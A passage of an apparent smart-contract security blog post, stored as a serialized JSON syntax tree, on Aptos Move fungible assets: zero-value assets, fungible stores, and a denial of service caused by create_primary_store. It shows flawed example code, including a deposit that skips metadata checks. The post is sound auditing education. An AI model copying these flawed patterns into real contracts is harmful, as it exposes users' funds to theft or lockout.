primary_fungible_store",{"type":22,"tag":264,"props":63278,"children":63279},{"style":4309},[63280],{"type":27,"value":4785},{"type":22,"tag":264,"props":63282,"children":63283},{"style":4401},[63284],{"type":27,"value":63285},"deposit",{"type":22,"tag":264,"props":63287,"children":63288},{"style":1539},[63289],{"type":27,"value":2660},{"type":22,"tag":264,"props":63291,"children":63292},{"style":4401},[63293],{"type":27,"value":63294},"global_vault_address",{"type":22,"tag":264,"props":63296,"children":63297},{"style":1539},[63298],{"type":27,"value":19678},{"type":22,"tag":264,"props":63300,"children":63301},{"style":1549},[63302],{"type":27,"value":63055},{"type":22,"tag":264,"props":63304,"children":63305},{"style":1539},[63306],{"type":27,"value":5142},{"type":22,"tag":264,"props":63308,"children":63309},{"class":1534,"line":1677},[63310],{"type":22,"tag":264,"props":63311,"children":63312},{"style":1539},[63313],{"type":27,"value":63108},{"type":22,"tag":264,"props":63315,"children":63316},{"class":1534,"line":1686},[63317,63322,63326,63331,63335,63340,63344,63348,63352,63356],{"type":22,"tag":264,"props":63318,"children":63319},{"style":1539},[63320],{"type":27,"value":63321},"    event",{"type":22,"tag":264,"props":63323,"children":63324},{"style":4309},[63325],{"type":27,"value":4785},{"type":22,"tag":264,"props":63327,"children":63328},{"style":4401},[63329],{"type":27,"value":63330},"emit",{"type":22,"tag":264,"props":63332,"children":63333},{"style":1539},[63334],{"type":27,"value":2660},{"type":22,"tag":264,"props":63336,"children":63337},{"style":4722},[63338],{"type":27,"value":63339},"Deposit",{"type":22,"tag":264,"props":63341,"children":63342},{"style":1539},[63343],{"type":27,"value":46537},{"type":22,"tag":264,"props":63345,"children":63346},{"style":1549},[63347],{"type":27,"value":63213},{"type":22,"tag":264,"props":63349,"children":63350},{"style":1539},[63351],{"type":27,"value":4380},{"type":22,"tag":264,"props":63353,"children":63354},{"style":1549},[63355],{"type":27,"value":63204},{"type":22,"tag":264,"props":63357,"children":63358},{"style":1539},[63359],{"type":27,"value":34338},{"type":22,"tag":264,"props":63361,"children":63362},{"class":1534,"line":4948},[63363],{"type":22,"tag":264,"props":63364,"children":63365},{"style":1539},[63366],{"type":27,"value":1692},{"type":22,"tag":23,"props":63368,"children":63369},{},[63370],{"type":27,"value":63371},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":22,"tag":23,"props":63373,"children":63374},{},[63375],{"type":27,"value":63376},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":22,"tag":169,"props":63378,"children":63380},{"id":63379},"fungible-stores",[63381],{"type":27,"value":63382},"Fungible stores",{"type":22,"tag":23,"props":63384,"children":63385},{},[63386],{"type":27,"value":63387},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":22,"tag":23,"props":63389,"children":63390},{},[63391,63393,63399],{"type":27,"value":63392},"Meet the ",{"type":22,"tag":257,"props":63394,"children":63396},{"className":63395},[],[63397],{"type":27,"value":63398},"FungibleStore",{"type":27,"value":210},{"type":22,"tag":618,"props":63401,"children":63403},{"className":4274,"code":63402,"language":4273,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[63404],{"type":22,"tag":257,"props":63405,"children":63406},{"__ignoreMap":7},[63407,63431,63458,63478,63497],{"type":22,"tag":264,"props":63408,"children":63409},{"class":1534,"line":1535},[63410,63414,63419,63423,63427],{"type":22,"tag":264,"props":63411,"children":63412},{"style":4293},[63413],{"type":27,"value":10699},{"type":22,"tag":264,"props":63415,"children":63416},{"style":4722},[63417],{"type":27,"value":63418}," FungibleStore",{"type":22,"tag":264,"props":63420,"children":63421},{"style":1549},[63422],{"type":27,"value":10708},{"type":22,"tag":264,"props":63424,"children":63425},{"style":1549},[63426],{"type":27,"value":7223},{"type":22,"tag":264,"props":63428,"children":63429},{"style":1539},[63430],{"type":27,"value":4594},{"type":22,"tag":264,"props":63432,"children":63433},{"class":1534,"line":1545},[63434,63438,63442,63446,63450,63454],{"type":22,"tag":264,"props":63435,"children":63436},{"style":1549},[63437],{"type":27,"value":62874},{"type":22,"tag":264,"props":63439,"children":63440},{"style":4309},[63441],{"type":27,"value":5785},{"type":22,"tag":264,"props":63443,"children":63444},{"style":4722},[63445],{"type":27,"value":62883},{"type":22,"tag":264,"props":63447,"children":63448},{"style":1539},[63449],{"type":27,"value":7097},{"type":22,"tag":264,"props":63451,"children":63452},{"style":4722},[63453],{"type":27,"value":62892},{"type":22,"tag":264,"props":63455,"children":63456},{"style":1539},[63457],{"type":27,"value":7430},{"type":22,"tag":264,"props":63459,"children":63460},{"class":1534,"line":1560},[63461,63466,63470,63474],{"type":22,"tag":264,"props":63462,"children":63463},{"style":1549},[63464],{"type":27,"value":63465},"    balance",{"type":22,"tag":264,"props":63467,"children":63468},{"style":4309},[63469],{"type":27,"value":5785},{"type":22,"tag":264,"props":63471,"children":63472},{"style":4722},[63473],{"type":27,"value":7151},{"type":22,"tag":264,"props":63475,"children":63476},{"style":1539},[63477],{"type":27,"value":4812},{"type":22,"tag":264,"props":63479,"children":63480},{"class":1534,"line":1569},[63481,63485,63489,63493],{"type":22,"tag":264,"props":63482,"children":63483},{"style":1549},[63484],{"type":27,"value":62535},{"type":22,"tag":264,"props":63486,"children":63487},{"style":4309},[63488],{"type":27,"value":5785},{"type":22,"tag":264,"props":63490,"children":63491},{"style":4722},[63492],{"type":27,"value":13349},{"type":22,"tag":264,"props":63494,"children":63495},{"style":1539},[63496],{"type":27,"value":4812},{"type":22,"tag":264,"props":63498,"children":63499},{"class":1534,"line":1583},[63500],{"type":22,"tag":264,"props":63501,"children":63502},{"style":1539},[63503],{"type":27,"value":1692},{"type":22,"tag":23,"props":63505,"children":63506},{},[63507,63512,63514,63519,63521,63526,63528,63533,63535,63540],{"type":22,"tag":257,"props":63508,"children":63510},{"className":63509},[],[63511],{"type":27,"value":63398},{"type":27,"value":63513}," manages balances and metadata instead of holding the actual ",{"type":22,"tag":257,"props":63515,"children":63517},{"className":63516},[],[63518],{"type":27,"value":62833},{"type":27,"value":63520}," (it can't because ",{"type":22,"tag":257,"props":63522,"children":63524},{"className":63523},[],[63525],{"type":27,"value":62833},{"type":27,"value":63527}," doesn't have ",{"type":22,"tag":257,"props":63529,"children":63531},{"className":63530},[],[63532],{"type":27,"value":7232},{"type":27,"value":63534},"). Withdrawals create temporary ",{"type":22,"tag":257,"props":63536,"children":63538},{"className":63537},[],[63539],{"type":27,"value":62833},{"type":27,"value":63541}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":22,"tag":20097,"props":63543,"children":63544},{},[],{"type":22,"tag":23,"props":63546,"children":63547},{},[63548,63550,63555,63557,63562],{"type":27,"value":63549},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":22,"tag":257,"props":63551,"children":63553},{"className":63552},[],[63554],{"type":27,"value":62833},{"type":27,"value":63556}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":22,"tag":257,"props":63558,"children":63560},{"className":63559},[],[63561],{"type":27,"value":62833},{"type":27,"value":210},{"type":22,"tag":618,"props":63564,"children":63566},{"className":4274,"code":63565,"language":4273,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[63567],{"type":22,"tag":257,"props":63568,"children":63569},{"__ignoreMap":7},[63570,63607,63659,63702,63709,63716,63788,63800,63838,63857,63864],{"type":22,"tag":264,"props":63571,"children":63572},{"class":1534,"line":1535},[63573,63577,63581,63586,63590,63595,63599,63603],{"type":22,"tag":264,"props":63574,"children":63575},{"style":1549},[63576],{"type":27,"value":62997},{"type":22,"tag":264,"props":63578,"children":63579},{"style":1549},[63580],{"type":27,"value":7499},{"type":22,"tag":264,"props":63582,"children":63583},{"style":4401},[63584],{"type":27,"value":63585}," destroy_zero",{"type":22,"tag":264,"props":63587,"children":63588},{"style":1539},[63589],{"type":27,"value":2660},{"type":22,"tag":264,"props":63591,"children":63592},{"style":1549},[63593],{"type":27,"value":63594},"fungible_asset",{"type":22,"tag":264,"props":63596,"children":63597},{"style":4309},[63598],{"type":27,"value":5785},{"type":22,"tag":264,"props":63600,"children":63601},{"style":4722},[63602],{"type":27,"value":62862},{"type":22,"tag":264,"props":63604,"children":63605},{"style":1539},[63606],{"type":27,"value":16103},{"type":22,"tag":264,"props":63608,"children":63609},{"class":1534,"line":1545},[63610,63614,63618,63622,63626,63630,63635,63639,63643,63647,63651,63655],{"type":22,"tag":264,"props":63611,"children":63612},{"style":4293},[63613],{"type":27,"value":4296},{"type":22,"tag":264,"props":63615,"children":63616},{"style":4722},[63617],{"type":27,"value":62862},{"type":22,"tag":264,"props":63619,"children":63620},{"style":1539},[63621],{"type":27,"value":10884},{"type":22,"tag":264,"props":63623,"children":63624},{"style":1549},[63625],{"type":27,"value":21613},{"type":22,"tag":264,"props":63627,"children":63628},{"style":1539},[63629],{"type":27,"value":4380},{"type":22,"tag":264,"props":63631,"children":63632},{"style":1549},[63633],{"type":27,"value":63634},"metadata",{"type":22,"tag":264,"props":63636,"children":63637},{"style":4309},[63638],{"type":27,"value":5785},{"type":22,"tag":264,"props":63640,"children":63641},{"style":1549},[63642],{"type":27,"value":4336},{"type":22,"tag":264,"props":63644,"children":63645},{"style":1539},[63646],{"type":27,"value":37517},{"type":22,"tag":264,"props":63648,"children":63649},{"style":4309},[63650],{"type":27,"value":429},{"type":22,"tag":264,"props":63652,"children":63653},{"style":1549},[63654],{"type":27,"value":63129},{"type":22,"tag":264,"props":63656,"children":63657},{"style":1539},[63658],{"type":27,"value":4322},{"type":22,"tag":264,"props":63660,"children":63661},{"class":1534,"line":1560},[63662,63667,63671,63675,63679,63683,63688,63692,63697],{"type":22,"tag":264,"props":63663,"children":63664},{"style":4401},[63665],{"type":27,"value":63666},"    assert!",{"type":22,"tag":264,"props":63668,"children":63669},{"style":1539},[63670],{"type":27,"value":2660},{"type":22,"tag":264,"props":63672,"children":63673},{"style":1549},[63674],{"type":27,"value":21613},{"type":22,"tag":264,"props":63676,"children":63677},{"style":4309},[63678],{"type":27,"value":4585},{"type":22,"tag":264,"props":63680,"children":63681},{"style":4344},[63682],{"type":27,"value":4347},{"type":22,"tag":264,"props":63684,"children":63685},{"style":1539},[63686],{"type":27,"value":63687},", error",{"type":22,"tag":264,"props":63689,"children":63690},{"style":4309},[63691],{"type":27,"value":4785},{"type":22,"tag":264,"props":63693,"children":63694},{"style":4401},[63695],{"type":27,"value":63696},"invalid_argument",{"type":22,"tag":264,"props":63698,"children":63699},{"style":1539},[63700],{"type":27,"value":63701},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":22,"tag":264,"props":63703,"children":63704},{"class":1534,"line":1569},[63705],{"type":22,"tag":264,"props":63706,"children":63707},{"style":1539},[63708],{"type":27,"value":1692},{"type":22,"tag":264,"props":63710,"children":63711},{"class":1534,"line":1583},[63712],{"type":22,"tag":264,"props":63713,"children":63714},{"emptyLinePlaceholder":17},[63715],{"type":27,"value":4986},{"type":22,"tag":264,"props":63717,"children":63718},{"class":1534,"line":1603},[63719,63723,63727,63732,63736,63740,63744,63748,63752,63756,63760,63764,63768,63772,63776,63780,63784],{"type":22,"tag":264,"props":63720,"children":63721},{"style":1549},[63722],{"type":27,"value":62997},{"type":22,"tag":264,"props":63724,"children":63725},{"style":1549},[63726],{"type":27,"value":7499},{"type":22,"tag":264,"props":63728,"children":63729},{"style":1549},[63730],{"type":27,"value":63731}," zero",{"type":22,"tag":264,"props":63733,"children":63734},{"style":1539},[63735],{"type":27,"value":7097},{"type":22,"tag":264,"props":63737,"children":63738},{"style":4722},[63739],{"type":27,"value":7279},{"type":22,"tag":264,"props":63741,"children":63742},{"style":4309},[63743],{"type":27,"value":5785},{"type":22,"tag":264,"props":63745,"children":63746},{"style":1549},[63747],{"type":27,"value":7223},{"type":22,"tag":264,"props":63749,"children":63750},{"style":1539},[63751],{"type":27,"value":8904},{"type":22,"tag":264,"props":63753,"children":63754},{"style":1549},[63755],{"type":27,"value":63634},{"type":22,"tag":264,"props":63757,"children":63758},{"style":4309},[63759],{"type":27,"value":5785},{"type":22,"tag":264,"props":63761,"children":63762},{"style":4722},[63763],{"type":27,"value":62883},{"type":22,"tag":264,"props":63765,"children":63766},{"style":1539},[63767],{"type":27,"value":7097},{"type":22,"tag":264,"props":63769,"children":63770},{"style":4722},[63771],{"type":27,"value":7279},{"type":22,"tag":264,"props":63773,"children":63774},{"style":1539},[63775],{"type":27,"value":9683},{"type":22,"tag":264,"props":63777,"children":63778},{"style":4309},[63779],{"type":27,"value":5785},{"type":22,"tag":264,"props":63781,"children":63782},{"style":4722},[63783],{"type":27,"value":62862},{"type":22,"tag":264,"props":63785,"children":63786},{"style":1539},[63787],{"type":27,"value":4594},{"type":22,"tag":264,"props":63789,"children":63790},{"class":1534,"line":1612},[63791,63796],{"type":22,"tag":264,"props":63792,"children":63793},{"style":4722},[63794],{"type":27,"value":63795},"    FungibleAsset",{"type":22,"tag":264,"props":63797,"children":63798},{"style":1539},[63799],{"type":27,"value":4594},{"type":22,"tag":264,"props":63801,"children":63802},{"class":1534,"line":1621},[63803,63808,63812,63817,63821,63826,63830,63834],{"type":22,"tag":264,"props":63804,"children":63805},{"style":1549},[63806],{"type":27,"value":63807},"        metadata",{"type":22,"tag":264,"props":63809,"children":63810},{"style":4309},[63811],{"type":27,"value":5785},{"type":22,"tag":264,"props":63813,"children":63814},{"style":1539},[63815],{"type":27,"value":63816}," object",{"type":22,"tag":264,"props":63818,"children":63819},{"style":4309},[63820],{"type":27,"value":4785},{"type":22,"tag":264,"props":63822,"children":63823},{"style":4401},[63824],{"type":27,"value":63825},"convert",{"type":22,"tag":264,"props":63827,"children":63828},{"style":1539},[63829],{"type":27,"value":2660},{"type":22,"tag":264,"props":63831,"children":63832},{"style":1549},[63833],{"type":27,"value":63634},{"type":22,"tag":264,"props":63835,"children":63836},{"style":1539},[63837],{"type":27,"value":8029},{"type":22,"tag":264,"props":63839,"children":63840},{"class":1534,"line":1629},[63841,63845,63849,63853],{"type":22,"tag":264,"props":63842,"children":63843},{"style":1549},[63844],{"type":27,"value":8742},{"type":22,"tag":264,"props":63846,"children":63847},{"style":4309},[63848],{"type":27,"value":5785},{"type":22,"tag":264,"props":63850,"children":63851},{"style":4344},[63852],{"type":27,"value":4347},{"type":22,"tag":264,"props":63854,"children":63855},{"style":1539},[63856],{"type":27,"value":4812},{"type":22,"tag":264,"props":63858,"children":63859},{"class":1534,"line":1642},[63860],{"type":22,"tag":264,"props":63861,"children":63862},{"style":1539},[63863],{"type":27,"value":1674},{"type":22,"tag":264,"props":63865,"children":63866},{"class":1534,"line":1660},[63867],{"type":22,"tag":264,"props":63868,"children":63869},{"style":1539},[63870],{"type":27,"value":1692},{"type":22,"tag":23,"props":63872,"children":63873},{},[63874],{"type":27,"value":63875},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":22,"tag":23,"props":63877,"children":63878},{},[63879,63881,63886],{"type":27,"value":63880},"In practice, the ability to freely mint and burn zero ",{"type":22,"tag":257,"props":63882,"children":63884},{"className":63883},[],[63885],{"type":27,"value":62975},{"type":27,"value":63887}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":22,"tag":181,"props":63889,"children":63891},{"id":63890},"primary-and-secondary-stores",[63892],{"type":27,"value":63893},"Primary and secondary stores",{"type":22,"tag":23,"props":63895,"children":63896},{},[63897,63903,63905,63911,63913,63918],{"type":22,"tag":257,"props":63898,"children":63900},{"className":63899},[],[63901],{"type":27,"value":63902},"FungibleStores",{"type":27,"value":63904}," in comparison to ",{"type":22,"tag":257,"props":63906,"children":63908},{"className":63907},[],[63909],{"type":27,"value":63910},"CoinStores",{"type":27,"value":63912}," are not unique. Each user can have multiple ",{"type":22,"tag":257,"props":63914,"children":63916},{"className":63915},[],[63917],{"type":27,"value":63398},{"type":27,"value":63919}," objects for a given token!",{"type":22,"tag":23,"props":63921,"children":63922},{},[63923,63925,63932,63934,63939],{"type":27,"value":63924},"A primary fungible store is maintained via the aptly named ",{"type":22,"tag":69,"props":63926,"children":63929},{"href":63927,"rel":63928},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[73],[63930],{"type":27,"value":63931},"primary_fungible_store",{"type":27,"value":63933}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":22,"tag":257,"props":63935,"children":63937},{"className":63936},[],[63938],{"type":27,"value":62892},{"type":27,"value":63940}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":22,"tag":23,"props":63942,"children":63943},{},[63944],{"type":27,"value":63945},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":22,"tag":618,"props":63947,"children":63949},{"className":4274,"code":63948,"language":4273,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[63950],{"type":22,"tag":257,"props":63951,"children":63952},{"__ignoreMap":7},[63953,63978,64010,64033,64049,64103,64118],{"type":22,"tag":264,"props":63954,"children":63955},{"class":1534,"line":1535},[63956,63960,63965,63969,63974],{"type":22,"tag":264,"props":63957,"children":63958},{"style":1549},[63959],{"type":27,"value":62997},{"type":22,"tag":264,"props":63961,"children":63962},{"style":1549},[63963],{"type":27,"value":63964}," entry",{"type":22,"tag":264,"props":63966,"children":63967},{"style":1549},[63968],{"type":27,"value":7499},{"type":22,"tag":264,"props":63970,"children":63971},{"style":4401},[63972],{"type":27,"value":63973}," register",{"type":22,"tag":264,"props":63975,"children":63976},{"style":1539},[63977],{"type":27,"value":4767},{"type":22,"tag":264,"props":63979,"children":63980},{"class":1534,"line":1545},[63981,63986,63990,63994,63998,64002,64006],{"type":22,"tag":264,"props":63982,"children":63983},{"style":1549},[63984],{"type":27,"value":63985},"    user",{"type":22,"tag":264,"props":63987,"children":63988},{"style":4309},[63989],{"type":27,"value":5785},{"type":22,"tag":264,"props":63991,"children":63992},{"style":4309},[63993],{"type":27,"value":8434},{"type":22,"tag":264,"props":63995,"children":63996},{"style":1549},[63997],{"type":27,"value":8439},{"type":22,"tag":264,"props":63999,"children":64000},{"style":1539},[64001],{"type":27,"value":45455},{"type":22,"tag":264,"props":64003,"children":64004},{"style":4309},[64005],{"type":27,"value":10889},{"type":22,"tag":264,"props":64007,"children":64008},{"style":1539},[64009],{"type":27,"value":13071},{"type":22,"tag":264,"props":64011,"children":64012},{"class":1534,"line":1560},[64013,64017,64021,64025,64029],{"type":22,"tag":264,"props":64014,"children":64015},{"style":1539},[64016],{"type":27,"value":4390},{"type":22,"tag":264,"props":64018,"children":64019},{"style":1549},[64020],{"type":27,"value":7636},{"type":22,"tag":264,"props":64022,"children":64023},{"style":1539},[64024],{"type":27,"value":24333},{"type":22,"tag":264,"props":64026,"children":64027},{"style":4309},[64028],{"type":27,"value":10889},{"type":22,"tag":264,"props":64030,"children":64031},{"style":1539},[64032],{"type":27,"value":63088},{"type":22,"tag":264,"props":64034,"children":64035},{"class":1534,"line":1569},[64036,64041,64045],{"type":22,"tag":264,"props":64037,"children":64038},{"style":1539},[64039],{"type":27,"value":64040},"    [",{"type":22,"tag":264,"props":64042,"children":64043},{"style":4309},[64044],{"type":27,"value":10889},{"type":22,"tag":264,"props":64046,"children":64047},{"style":1539},[64048],{"type":27,"value":13071},{"type":22,"tag":264,"props":64050,"children":64051},{"class":1534,"line":1583},[64052,64056,64061,64065,64070,64074,64078,64082,64086,64090,64094,64099],{"type":22,"tag":264,"props":64053,"children":64054},{"style":4293},[64055],{"type":27,"value":4296},{"type":22,"tag":264,"props":64057,"children":64058},{"style":1549},[64059],{"type":27,"value":64060}," wallet_store",{"type":22,"tag":264,"props":64062,"children":64063},{"style":4309},[64064],{"type":27,"value":4312},{"type":22,"tag":264,"props":64066,"children":64067},{"style":4401},[64068],{"type":27,"value":64069}," create_primary_store",{"type":22,"tag":264,"props":64071,"children":64072},{"style":1539},[64073],{"type":27,"value":8493},{"type":22,"tag":264,"props":64075,"children":64076},{"style":4309},[64077],{"type":27,"value":4785},{"type":22,"tag":264,"props":64079,"children":64080},{"style":4401},[64081],{"type":27,"value":8502},{"type":22,"tag":264,"props":64083,"children":64084},{"style":1539},[64085],{"type":27,"value":2660},{"type":22,"tag":264,"props":64087,"children":64088},{"style":1549},[64089],{"type":27,"value":63183},{"type":22,"tag":264,"props":64091,"children":64092},{"style":1539},[64093],{"type":27,"value":16477},{"type":22,"tag":264,"props":64095,"children":64096},{"style":4401},[64097],{"type":27,"value":64098},"get_metadata",{"type":22,"tag":264,"props":64100,"children":64101},{"style":1539},[64102],{"type":27,"value":16724},{"type":22,"tag":264,"props":64104,"children":64105},{"class":1534,"line":1603},[64106,64110,64114],{"type":22,"tag":264,"props":64107,"children":64108},{"style":1539},[64109],{"type":27,"value":64040},{"type":22,"tag":264,"props":64111,"children":64112},{"style":4309},[64113],{"type":27,"value":10889},{"type":22,"tag":264,"props":64115,"children":64116},{"style":1539},[64117],{"type":27,"value":13071},{"type":22,"tag":264,"props":64119,"children":64120},{"class":1534,"line":1612},[64121],{"type":22,"tag":264,"props":64122,"children":64123},{"style":1539},[64124],{"type":27,"value":1692},{"type":22,"tag":23,"props":64126,"children":64127},{},[64128,64129,64135,64137,64143],{"type":27,"value":17914},{"type":22,"tag":257,"props":64130,"children":64132},{"className":64131},[],[64133],{"type":27,"value":64134},"create_primary_store",{"type":27,"value":64136}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":22,"tag":257,"props":64138,"children":64140},{"className":64139},[],[64141],{"type":27,"value":64142},"ensure_primary_store_exists",{"type":27,"value":64144}," is recommended to avoid such issues.",{"type":22,"tag":169,"props":64146,"children":64148},{"id":64147},"fungible-assets-and-objects",[64149],{"type":27,"value":64150},"Fungible assets and objects",{"type":22,"tag":23,"props":64152,"children":64153},{},[64154,64156,64161,64163,64170],{"type":27,"value":64155},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":22,"tag":257,"props":64157,"children":64159},{"className":64158},[],[64160],{"type":27,"value":50171},{"type":27,"value":64162}," module, introduced in ",{"type":22,"tag":69,"props":64164,"children":64167},{"href":64165,"rel":64166},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[73],[64168],{"type":27,"value":64169},"AIP-10",{"type":27,"value":210},{"type":22,"tag":4226,"props":64172,"children":64173},{},[64174],{"type":22,"tag":23,"props":64175,"children":64176},{},[64177,64181],{"type":22,"tag":264,"props":64178,"children":64179},{},[64180],{"type":27,"value":62772},{"type":27,"value":64182}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":22,"tag":23,"props":64184,"children":64185},{},[64186],{"type":27,"value":64187},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":22,"tag":181,"props":64189,"children":64191},{"id":64190},"creation-and-deletion",[64192],{"type":27,"value":64193},"Creation and deletion",{"type":22,"tag":23,"props":64195,"children":64196},{},[64197,64199,64205],{"type":27,"value":64198},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":22,"tag":257,"props":64200,"children":64202},{"className":64201},[],[64203],{"type":27,"value":64204},"fungible_asset::add_fungibility",{"type":27,"value":5785},{"type":22,"tag":618,"props":64207,"children":64209},{"className":4274,"code":64208,"language":4273,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64210],{"type":22,"tag":257,"props":64211,"children":64212},{"__ignoreMap":7},[64213],{"type":22,"tag":264,"props":64214,"children":64215},{"class":1534,"line":1535},[64216,64220,64224,64228,64233,64237,64242,64246,64251,64256,64260,64264],{"type":22,"tag":264,"props":64217,"children":64218},{"style":4401},[64219],{"type":27,"value":43300},{"type":22,"tag":264,"props":64221,"children":64222},{"style":1539},[64223],{"type":27,"value":2660},{"type":22,"tag":264,"props":64225,"children":64226},{"style":4309},[64227],{"type":27,"value":21928},{"type":22,"tag":264,"props":64229,"children":64230},{"style":1539},[64231],{"type":27,"value":64232},"object",{"type":22,"tag":264,"props":64234,"children":64235},{"style":4309},[64236],{"type":27,"value":4785},{"type":22,"tag":264,"props":64238,"children":64239},{"style":4401},[64240],{"type":27,"value":64241},"can_generate_delete_ref",{"type":22,"tag":264,"props":64243,"children":64244},{"style":1539},[64245],{"type":27,"value":2660},{"type":22,"tag":264,"props":64247,"children":64248},{"style":1549},[64249],{"type":27,"value":64250},"constructor_ref",{"type":22,"tag":264,"props":64252,"children":64253},{"style":1539},[64254],{"type":27,"value":64255},"), error",{"type":22,"tag":264,"props":64257,"children":64258},{"style":4309},[64259],{"type":27,"value":4785},{"type":22,"tag":264,"props":64261,"children":64262},{"style":4401},[64263],{"type":27,"value":63696},{"type":22,"tag":264,"props":64265,"children":64266},{"style":1539},[64267],{"type":27,"value":64268},"(EOBJECT_IS_DELETABLE));\n",{"type":22,"tag":23,"props":64270,"children":64271},{},[64272,64274,64279,64281,64286,64287,64294],{"type":27,"value":64273},"This object serves as the foundation for ownership tokens in the form of a ",{"type":22,"tag":257,"props":64275,"children":64277},{"className":64276},[],[64278],{"type":27,"value":62833},{"type":27,"value":64280},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":22,"tag":257,"props":64282,"children":64284},{"className":64283},[],[64285],{"type":27,"value":64204},{"type":27,"value":7750},{"type":22,"tag":69,"props":64288,"children":64291},{"href":64289,"rel":64290},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[73],[64292],{"type":27,"value":64293},"lacked this assert",{"type":27,"value":64295},", which we discovered and reported.",{"type":22,"tag":23,"props":64297,"children":64298},{},[64299,64304,64306,64311,64313,64318],{"type":22,"tag":257,"props":64300,"children":64302},{"className":64301},[],[64303],{"type":27,"value":64204},{"type":27,"value":64305}," transfers the ",{"type":22,"tag":257,"props":64307,"children":64309},{"className":64308},[],[64310],{"type":27,"value":62892},{"type":27,"value":64312}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":22,"tag":257,"props":64314,"children":64316},{"className":64315},[],[64317],{"type":27,"value":62833},{"type":27,"value":64319}," can be minted, representing a share of ownership in that object.",{"type":22,"tag":618,"props":64321,"children":64323},{"className":4274,"code":64322,"language":4273,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[64324],{"type":22,"tag":257,"props":64325,"children":64326},{"__ignoreMap":7},[64327,64335,64355,64370,64397,64412,64433,64445,64457,64469,64481,64493,64505,64512,64519,64534],{"type":22,"tag":264,"props":64328,"children":64329},{"class":1534,"line":1535},[64330],{"type":22,"tag":264,"props":64331,"children":64332},{"style":4284},[64333],{"type":27,"value":64334},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":22,"tag":264,"props":64336,"children":64337},{"class":1534,"line":1545},[64338,64342,64346,64351],{"type":22,"tag":264,"props":64339,"children":64340},{"style":1549},[64341],{"type":27,"value":62997},{"type":22,"tag":264,"props":64343,"children":64344},{"style":1549},[64345],{"type":27,"value":7499},{"type":22,"tag":264,"props":64347,"children":64348},{"style":4401},[64349],{"type":27,"value":64350}," add_fungibility",{"type":22,"tag":264,"props":64352,"children":64353},{"style":1539},[64354],{"type":27,"value":4767},{"type":22,"tag":264,"props":64356,"children":64357},{"class":1534,"line":1560},[64358,64362,64366],{"type":22,"tag":264,"props":64359,"children":64360},{"style":1539},[64361],{"type":27,"value":64040},{"type":22,"tag":264,"props":64363,"children":64364},{"style":4309},[64365],{"type":27,"value":10889},{"type":22,"tag":264,"props":64367,"children":64368},{"style":1539},[64369],{"type":27,"value":13071},{"type":22,"tag":264,"props":64371,"children":64372},{"class":1534,"line":1569},[64373,64377,64381,64385,64389,64393],{"type":22,"tag":264,"props":64374,"children":64375},{"style":1539},[64376],{"type":27,"value":2806},{"type":22,"tag":264,"props":64378,"children":64379},{"style":4309},[64380],{"type":27,"value":5785},{"type":22,"tag":264,"props":64382,"children":64383},{"style":4722},[64384],{"type":27,"value":62883},{"type":22,"tag":264,"props":64386,"children":64387},{"style":1539},[64388],{"type":27,"value":7097},{"type":22,"tag":264,"props":64390,"children":64391},{"style":4722},[64392],{"type":27,"value":62892},{"type":22,"tag":264,"props":64394,"children":64395},{"style":1539},[64396],{"type":27,"value":8574},{"type":22,"tag":264,"props":64398,"children":64399},{"class":1534,"line":1583},[64400,64404,64408],{"type":22,"tag":264,"props":64401,"children":64402},{"style":1539},[64403],{"type":27,"value":64040},{"type":22,"tag":264,"props":64405,"children":64406},{"style":4309},[64407],{"type":27,"value":10889},{"type":22,"tag":264